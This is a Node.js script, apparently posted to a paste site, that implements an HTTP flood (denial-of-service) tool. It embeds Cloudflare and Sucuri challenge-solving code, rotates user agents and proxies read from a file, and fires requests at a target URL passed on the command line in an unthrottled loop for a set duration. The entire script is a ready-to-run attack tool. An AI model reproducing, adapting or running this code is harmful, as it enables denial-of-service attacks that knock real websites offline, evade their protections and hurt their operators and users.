· 6 years ago · Jan 03, 2020, 06:00 AM
1var vm = require('vm');
2var requestModule = require('request');
3var jar = requestModule.jar();
4var fs = require('fs');
5var proxies = fs.readFileSync(process.argv[4], 'utf-8').replace(/\r/g, '').split('\n');
6
7var EventEmitter = require('events').EventEmitter;
8var eventEmitterInfinity = new EventEmitter(Infinity);
9eventEmitterInfinity.setMaxListeners(Infinity);
10
11var request = requestModule.defaults({
12 jar: jar
13 }), // Cookies should be enabled
14 UserAgent = [ "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36",
15 "FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
16 "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
17 "TheSuBot/0.2 (www.thesubot.de)",
18 "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
19 "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)",
20 "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
21 "FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
22 "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
23 "zspider/0.9-dev http://feedback.redkolibri.com/",
24 "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
25 "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
26 "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
27 "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
28 "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
29 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194ABaiduspider+(+http://www.baidu.com/search/spider.htm)",
30 "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko",
31 "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
32 "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15",
33 "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
34 "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
35 "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)",
36 "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
37 "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
38 "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
39 "Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 UCBrowser/3.4.3.532",
40 "Mozilla/5.0 (Nintendo WiiU) AppleWebKit/536.30 (KHTML, like Gecko) NX/3.0.4.2.12 NintendoBrowser/4.3.1.11264.US",
41 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
42 "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
43 "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
44 "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
45 "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
46 "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; cn) Opera 11.00",
47 "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
48 "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
49 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.6.01001)",
50 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)",
51 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.5.01003)",
52 "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
53 "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8",
54 "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
55 "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko/20100101 Firefox/11.0",
56 "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8",
57 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)",
58 "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
59 "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
60 "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
61 "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
62 "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.01",
63 "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
64 "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
65 "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
66 "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
67 "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
68 "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
69 "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
70 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
71 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
72 "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
73],
74 Timeout = 6000, // Cloudflare requires a delay of 5 seconds, so wait for at least 6.
75 WAF = true,
76 cloudscraper = {};
77
78
79/**
80 * Performs get request to url with headers.
81 * @param {String} url
82 * @param {Function} callback function(error, response, body) {}
83 * @param {Object} headers Hash with headers, e.g. {'Referer': 'http://google.com', 'User-Agent': '...'}
84 */
85cloudscraper.get = function(url, callback, headers) {
86 performRequest({
87 method: 'GET',
88 url: url,
89 headers: headers
90 }, callback);
91};
92
93/**
94 * Performs post request to url with headers.
95 * @param {String} url
96 * @param {String|Object} body Will be passed as form data
97 * @param {Function} callback function(error, response, body) {}
98 * @param {Object} headers Hash with headers, e.g. {'Referer': 'http://google.com', 'User-Agent': '...'}
99 */
100cloudscraper.post = function(url, body, callback, headers) {
101 var data = '',
102 bodyType = Object.prototype.toString.call(body);
103
104 if (bodyType === '[object String]') {
105 data = body;
106 } else if (bodyType === '[object Object]') {
107 data = Object.keys(body).map(function(key) {
108 return key + '=' + body[key];
109 }).join('&');
110 }
111
112 headers = headers || {};
113 headers['Content-Type'] = headers['Content-Type'] || 'application/x-www-form-urlencoded; charset=UTF-8';
114 headers['Content-Length'] = headers['Content-Length'] || data.length;
115
116 performRequest({
117 method: 'HEAD',
118 body: data,
119 url: url,
120 headers: headers
121 }, callback);
122}
123
124/**
125 * Performs get or post request with generic request options
126 * @param {Object} options Object to be passed to request's options argument
127 * @param {Function} callback function(error, response, body) {}
128 */
129cloudscraper.request = function(options, callback) {
130 performRequest(options, callback);
131}
132
133function performRequest(options, callback) {
134 var method;
135 options = options || {};
136 options.headers = options.headers || {};
137 makeRequest = requestMethod(options.method);
138
139 //Can't just do the normal options.encoding || 'utf8'
140 //because null is a valid encoding.
141 if ('encoding' in options) {
142 options.realEncoding = options.encoding;
143 } else {
144 options.realEncoding = 'utf8';
145 }
146 options.encoding = null;
147
148 if (!options.url || !callback) {
149 throw new Error('To perform request, define both url and callback');
150 }
151
152 options.headers['User-Agent'] = options.headers['User-Agent'] || UserAgent;
153
154 makeRequest(options, function(error, response, body) {
155 var validationError;
156 var stringBody;
157
158 if (error || !body || !body.toString) {
159 return callback({
160 errorType: 0,
161 error: error
162 }, body, response);
163 }
164
165 stringBody = body.toString('utf8');
166
167 if (validationError = checkForErrors(error, stringBody)) {
168 return callback(validationError, body, response);
169 }
170
171 // If body contains specified string, solve challenge
172 if (stringBody.indexOf('a = document.getElementById(\'jschl-answer\');') !== -1) {
173 setTimeout(function() {
174 return solveChallenge(response, stringBody, options, callback);
175 }, Timeout);
176 } else if (stringBody.indexOf('You are being redirected') !== -1 ||
177 stringBody.indexOf('sucuri_cloudproxy_js') !== -1) {
178 setCookieAndReload(response, stringBody, options, callback);
179 } else {
180 // All is good
181 processResponseBody(options, error, response, body, callback);
182 }
183 });
184}
185
186function checkForErrors(error, body) {
187 var match;
188
189 // Pure request error (bad connection, wrong url, etc)
190 if (error) {
191 return {
192 errorType: 0,
193 error: error
194 };
195 }
196
197 // Finding captcha
198 if (body.indexOf('why_captcha') !== -1 || /cdn-cgi\/l\/chk_captcha/i.test(body)) {
199 return {
200 errorType: 1
201 };
202 }
203
204 // trying to find '<span class="cf-error-code">1006</span>'
205 match = body.match(/<\w+\s+class="cf-error-code">(.*)<\/\w+>/i);
206
207 if (match) {
208 return {
209 errorType: 2,
210 error: parseInt(match[1])
211 };
212 }
213
214 return false;
215}
216
217
218function solveChallenge(response, body, options, callback) {
219 var challenge = body.match(/name="jschl_vc" value="(\w+)"/),
220 host = response.request.host,
221 makeRequest = requestMethod(options.method),
222 jsChlVc,
223 answerResponse,
224 answerUrl;
225
226 if (!challenge) {
227 return callback({
228 errorType: 3,
229 error: 'I cant extract challengeId (jschl_vc) from page'
230 }, body, response);
231 }
232
233 jsChlVc = challenge[1];
234
235 challenge = body.match(/getElementById\('cf-content'\)[\s\S]+?setTimeout.+?\r?\n([\s\S]+?a\.value =.+?)\r?\n/i);
236
237 if (!challenge) {
238 return callback({
239 errorType: 3,
240 error: 'I cant extract method from setTimeOut wrapper'
241 }, body, response);
242 }
243
244 challenge_pass = body.match(/name="pass" value="(.+?)"/)[1];
245
246 challenge = challenge[1];
247
248 challenge = challenge.replace(/a\.value =(.+?) \+ .+?;/i, '$1');
249
250 challenge = challenge.replace(/\s{3,}[a-z](?: = |\.).+/g, '');
251 challenge = challenge.replace(/'; \d+'/g, '');
252
253 try {
254 answerResponse = {
255 'jschl_vc': jsChlVc,
256 'jschl_answer': (eval(challenge) + response.request.host.length),
257 'pass': challenge_pass
258 };
259 } catch (err) {
260 return callback({
261 errorType: 3,
262 error: 'Error occurred during evaluation: ' + err.message
263 }, body, response);
264 }
265
266 answerUrl = response.request.uri.protocol + '//' + host + '/cdn-cgi/l/chk_jschl';
267
268 options.headers['Referer'] = response.request.uri.href; // Original url should be placed as referer
269 options.url = answerUrl;
270 options.qs = answerResponse;
271
272 // Make request with answer
273 makeRequest(options, function(error, response, body) {
274
275 if (error) {
276 return callback({
277 errorType: 0,
278 error: error
279 }, response, body);
280 }
281
282 if (response.statusCode === 302) { //occurrs when posting. request is supposed to auto-follow these
283 //by default, but for some reason it's not
284 options.url = response.headers.location;
285 delete options.qs;
286 makeRequest(options, function(error, response, body) {
287 processResponseBody(options, error, response, body, callback);
288 });
289 } else {
290 processResponseBody(options, error, response, body, callback);
291 }
292 });
293}
294
295function setCookieAndReload(response, body, options, callback) {
296 var challenge = body.match(/S='([^']+)'/);
297 var makeRequest = requestMethod(options.method);
298
299 if (!challenge) {
300 return callback({
301 errorType: 3,
302 error: 'I cant extract cookie generation code from page'
303 }, body, response);
304 }
305
306 var base64EncodedCode = challenge[1];
307 var cookieSettingCode = new Buffer(base64EncodedCode, 'base64').toString('ascii');
308
309 var sandbox = {
310 location: {
311 reload: function() {}
312 },
313 document: {}
314 };
315 vm.runInNewContext(cookieSettingCode, sandbox);
316 try {
317 cookies.push(sandbox.document.cookie);
318 jar.setCookie(sandbox.document.cookie, response.request.uri.href, {
319 ignoreError: true
320 });
321 } catch (err) {
322 return callback({
323 errorType: 3,
324 error: 'Error occurred during evaluation: ' + err.message
325 }, body, response);
326 }
327
328 makeRequest(options, function(error, response, body) {
329 if (error) {
330 return callback({
331 errorType: 0,
332 error: error
333 }, response, body);
334 }
335 processResponseBody(options, error, response, body, callback);
336 });
337}
338
339// Workaround for better testing. Request has pretty poor API
340function requestMethod(method) {
341 // For now only GET and POST are supported
342 method = method.toUpperCase();
343
344 return method === 'POST' ? request.post : request.get;
345}
346
347function processResponseBody(options, error, response, body, callback) {
348 if (typeof options.realEncoding === 'string') {
349 body = body.toString(options.realEncoding);
350 // In case of real encoding, try to validate the response
351 // and find potential errors there.
352 // If encoding is not provided, return response as it is
353 if (validationError = checkForErrors(error, body)) {
354 return callback(validationError, response, body);
355 }
356 }
357
358
359 callback(error, response, body);
360}
361
362process.on('uncaughtException', function(err) {
363
364})
365
366process.on('unhandledRejection', function(err) {
367
368});
369
370var ATTACK = {
371 http(method, url, proxy) {
372 requestModule({
373 method: method,
374 proxy: 'http://' + proxy,
375 headers: {
376 'UserAgent': UserAgent[Math.floor(Math.random() * UserAgent.length)]
377 },
378 url: url
379 }, function(err, response, body) {
380 //console.log(err, response.statusCode);
381 });
382 },
383 cfbypass(method, url, proxy) {
384 performRequest({
385 method: method,
386 proxy: 'http://' + proxy,
387 headers: {
388 'UserAgent': UserAgent[Math.floor(Math.random() * UserAgent.length)]
389 },
390 url: url
391 }, function(err, response, body) {
392 //console.log(err, response.statusCode);
393 });
394 }
395}
396
397setTimeout(function() {
398 process.exit(1);
399}, process.argv[3] * 1000);
400
401setInterval(function() {
402 ATTACK.http('HEAD', process.argv[2], proxies[Math.floor(Math.random() * proxies.length)]);
403});